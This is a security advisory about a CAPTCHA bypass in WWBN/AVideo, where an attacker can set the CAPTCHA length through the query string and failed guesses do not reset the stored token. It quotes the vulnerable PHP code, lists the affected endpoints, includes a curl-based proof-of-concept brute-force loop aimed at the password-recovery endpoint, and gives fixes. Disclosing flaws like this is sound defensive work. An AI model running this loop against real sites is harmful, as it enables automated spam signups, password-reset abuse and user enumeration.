Description

CAPTCHA Bypass in WWBN/AVideo via Attacker-Controlled Length Parameter and Missing Token Invalidation on Failure

Summary

objects/getCaptcha.php accepts the CAPTCHA length (ql) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive strcasecmp comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on Captcha::validation() (user registration, password recovery, contact form, etc.) in at most ~33 requests per session.

Details

Three cooperating flaws in objects/getCaptcha.php and objects/captcha.php reduce CAPTCHA protection to a deterministic bypass.

1. External control of CAPTCHA strength (objects/getCaptcha.php:7)

$largura        = empty($_GET['l'])  ? 120 : $_GET['l'];
$altura         = empty($_GET['a'])  ? 40  : $_GET['a'];
$tamanho_fonte  = empty($_GET['tf']) ? 18  : $_GET['tf'];
$quantidade_letras = empty($_GET['ql']) ? 5 : $_GET['ql']; // attacker-controlled

$capcha = new Captcha($largura, $altura, $tamanho_fonte, $quantidade_letras);
$capcha->getCaptchaImage();

There is no minimum, no type-check, and no clamping. Requesting /objects/getCaptcha.php?ql=1 causes the server to generate a single-character word and save it to the attacker's own PHP session.

2. Small alphabet stored in the session (objects/captcha.php:33-39)

$letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnPpQqRrSsTtUuVvYyXxWwZz23456789';
$palavra = substr(str_shuffle($letters), 0, ($this->quantidade_letras));
if (User::isAdmin() && empty($_REQUEST['forceCaptcha'])) {
    $palavra = "admin";
}
_session_start();
$_SESSION["palavra"] = $palavra;

After case-folding the alphabet is 25 letters (A–Z minus O) plus digits 2-9, i.e. 33 unique values. For an unauthenticated attacker the admin branch at line 35 is unreachable, so the value is purely random over that 33-symbol set.

3. Weak comparison and token NOT invalidated on failure (objects/captcha.php:58-75)

public static function validation($word)
{
    if (User::isAdmin() && $_SESSION["palavra"] === 'admin') {
        return true;
    }
    _session_start();
    if (empty($_SESSION["palavra"])) {
        _error_log("Captcha validation Error: you type ({$word}) and session is empty ...");...
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Two problems here:

strcasecmp is case-insensitive, collapsing the alphabet to ~33 distinct values.

unset($_SESSION["palavra"]) only runs in the success branch. Every failed guess leaves the stored word intact, so the same session can be retried against the same stored answer until it matches.

Reachability

Captcha::validation() is invoked from unauthenticated entry points including:

objects/userCreate.json.php:38 — user registration (Captcha::validation($_POST['captcha']))

objects/userRecoverPass.php:31 — password recovery

objects/sendEmail.json.php:10 — public contact email

plugin/API/API.php:4243 and :5684 — public API endpoints

plugin/CustomizeUser/donate.json.php:62, confirmDeleteUser.json.php:15

plugin/YPTWallet/view/transferFunds.json.php:25

None of these require authentication for the CAPTCHA check to matter — they rely on it exactly because they're exposed to anonymous or lightly-authenticated callers.

PoC

Attacker flow against an unauthenticated signup/recovery endpoint:

Step 1 — Weaken the CAPTCHA to one character and install it in the attacker's own PHP session:

curl -c jar -s 'https://target/objects/getCaptcha.php?ql=1' -o /dev/null

Step 2 — Brute-force the single-character answer. Because failed attempts do NOT reset $_SESSION["palavra"], the same cookie jar is reused and the same stored value is checked against each guess:

for c in a b c d e f g h i j k l m n p q r s t u v w x y z 2 3 4 5 6 7 8 9; do
  code=$(curl -b jar -s -o /tmp/r -w '%{http_code}' -X POST \
    'https://target/objects/userRecoverPass.php' \
    --data-urlencode 'user=victim' \
    --data-urlencode 'recoverpass=1' \
    --data-urlencode "captcha=$c")
  if ! grep -q 'Your code is not valid' /tmp/r; then
    echo "HIT with captcha=$c"; break...
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Worst case: 33 POSTs per session to pass the CAPTCHA once.

With ql=2 the keyspace is ~1089 — still trivial and more robust against any edge cases involving empty() on a single-digit word.

The same technique works against userCreate.json.php, sendEmail.json.php, and every other Captcha::validation() caller.

Observed behavior on the local instance: each wrong guess returns "Your code is not valid" without rotating $_SESSION["palavra"]; the logged session is (<char>) message in _error_log stays the same across all failed attempts in a session, confirming the token is not rotated.

Impact

CAPTCHA is the only "are you human" control on several anonymous endpoints. Reducing it to a deterministic ≤33-try bypass enables:

Automated account creation / spam signups via userCreate.json.php.

User enumeration / password-reset spamming via userRecoverPass.php.

Unsolicited email abuse via sendEmail.json.php.

Comment / donation / wallet abuse on plugin endpoints that rely on Captcha::validation.

It does not by itself leak secrets or grant privileges, hence Integrity:Low (abuse of an intended rate-limiting/anti-bot control) with no direct Confidentiality/Availability impact.

Recommended Fix

Three coordinated changes in objects/getCaptcha.php and objects/captcha.php:

Clamp ql (and ideally the other image params) to a safe server-side range:

// objects/getCaptcha.php
$quantidade_letras = isset($_GET['ql']) ? (int)$_GET['ql'] : 5;
$quantidade_letras = max(5, min(8, $quantidade_letras));

Always consume the stored CAPTCHA answer on any validation attempt (success or failure) so each guess costs one fresh getCaptcha.php round-trip:

// objects/captcha.php::validation()
_session_start();
if (empty($_SESSION["palavra"])) {
    return false;
}
$stored = $_SESSION["palavra"];
unset($_SESSION["palavra"]); // always consume, regardless of outcome
if (User::isAdmin() && $stored === 'admin') {...
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Use a CSPRNG for word generation instead of str_shuffle, e.g.:

$palavra = '';
$len = strlen($letters);
for ($i = 0; $i < $this->quantidade_letras; $i++) {
    $palavra .= $letters[random_int(0, $len - 1)];
}

Optionally also add an application-level rate limit (per IP / per session) on all endpoints that call Captcha::validation() as defense in depth.

Mitigation

Aliases

References